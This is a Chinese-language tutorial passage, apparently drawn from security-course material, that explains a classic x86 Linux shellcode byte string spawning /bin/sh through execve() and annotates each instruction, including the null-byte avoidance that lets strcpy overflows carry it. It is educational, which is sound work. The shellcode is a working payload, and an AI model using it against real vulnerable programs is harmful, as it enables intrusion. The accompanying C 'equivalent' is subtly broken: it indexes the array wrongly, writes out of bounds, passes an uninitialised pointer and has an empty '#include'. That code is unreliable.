什么样的shellcode可以起到最大的破坏,那就是能够满足攻击者各种各样需要的shellcode,怎么才能满足各种各样的需要呢?调用shell。
如何写一个shellcode,以需要execve()系统调用的shellcode为例:
参考《Computer Security:A Hand-on Approach 》,有如下shellcode,
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
如上shellcode类似于如下c代码,即通过execve()系统调用,执行/bin/sh,生成shell
#include
void main()
{
char *name[2];
name[1]="/bin/sh";
name[2]=NULL;
execve(name[0],name,NULL);
}
(1)xorl %eax,%eax :使用xor指令清空eax,即使eax=0,不可以使用movl 0,%eax,因为会在shellcode中引入’0’,一些存在bufferoverflow的函数,如strcpy(),都是在源字符串中检测’0’,若遇到‘0’,默认为字符串结束,则之后的字符串不会被拷贝。
(2)pushl %eax :将0入栈,标记了"/bin/sh"的结尾,用pushl也可以避免在shellcode中引入’0’
(3)pushl $0x68732f2f:传递"/sh",为了4字节对齐,使用//sh,这在execve()中等同于/sh
(4)pushl $0x6e69622f:传递“/bin”,为4个字节。
(5)movl %esp,%ebx :此时esp指向了"/bin/sh",通过esp将该字符串的值传递给ebx
(6)pushl %eax
pushl %ebx :在栈中构造Name数组,ebx存储了"/bin/sh"字符串的地址,eax中为0,作为Name[1];
(7)movl %esp,%ecx :esp指向构造的Name数组,将其保存在ecx中
(8)cdq :清空edx,edx中存放环境变量,0代表不传递环境变量,也可以使用xorl %edx %edx,但是该指令更长。
(9)movb $0x0b,%al
int $0x80:eax存储系统调用号11(0x0b),int指令调用系统调用